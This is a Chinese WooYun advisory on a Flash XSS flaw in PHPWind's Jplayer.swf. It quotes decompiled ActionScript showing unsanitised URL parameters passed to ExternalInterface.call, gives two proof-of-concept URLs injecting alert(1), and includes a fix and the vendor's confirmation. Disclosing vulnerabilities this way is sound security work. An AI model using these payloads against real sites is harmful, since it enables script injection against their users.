当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-017733

漏洞标题:PHPWind flash xss 0day [2]

相关厂商:phpwind

漏洞作者: insight-labs

提交时间:2013-01-23 14:03

修复时间:2013-03-09 14:04

公开时间:2013-03-09 14:04

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-23: 细节已通知厂商并且等待厂商处理中
2013-01-25: 厂商已经确认,细节仅向厂商公开
2013-02-04: 细节向核心白帽子及相关领域专家公开
2013-02-14: 细节向普通白帽子公开
2013-02-24: 细节向实习白帽子公开
2013-03-09: 细节向公众公开

简要描述:

再来一处,PHPWind使用的flash文件还真多。

详细说明:

1、漏洞文件为:http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf
2、反编译后看代码:

this.jQuery = (((loaderInfo.parameters.jQuery + "('#") + loaderInfo.parameters.id) + "').jPlayer");
……
private function init(_arg1:TimerEvent):void{
this.myInitTimer.stop();
if (ExternalInterface.available){
……
ExternalInterface.call(this.jQuery, "jPlayerFlashEvent", JplayerEvent.JPLAYER_READY, this.extractStatusData(this.commonStatus));
};
}


3、我们看到在上面的代码中jQuery变量是由loaderInfo.parameters.jQuery和loaderInfo.parameters.id两个外部参数拼接而成的,并且没有进行任何的处理直接带入到ExternalInterface.call中。
4、可以构造两个POC,为下面,所以是两处xss:
http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//
http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?id='))}catch(e){alert(1)}//

漏洞证明:

http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?jQuery=alert(1))}catch(e){}//
http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf?id='))}catch(e){alert(1)}//

修复方案:

可以参考swfupload.swf那个地方的修复方法,就是把非a-zA-Z0-9_字符replace为空

版权声明:转载请注明来源 insight-labs@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-01-25 13:58

厂商回复:

感谢您对phpwind的关注,漏洞已修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2013-01-23 14:47 | r0ckEr ( 路人 | Rank:1 漏洞数:1 | >>>print Hello world.)

    也要做教程?

  2. 2013-01-23 15:08 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    连载吧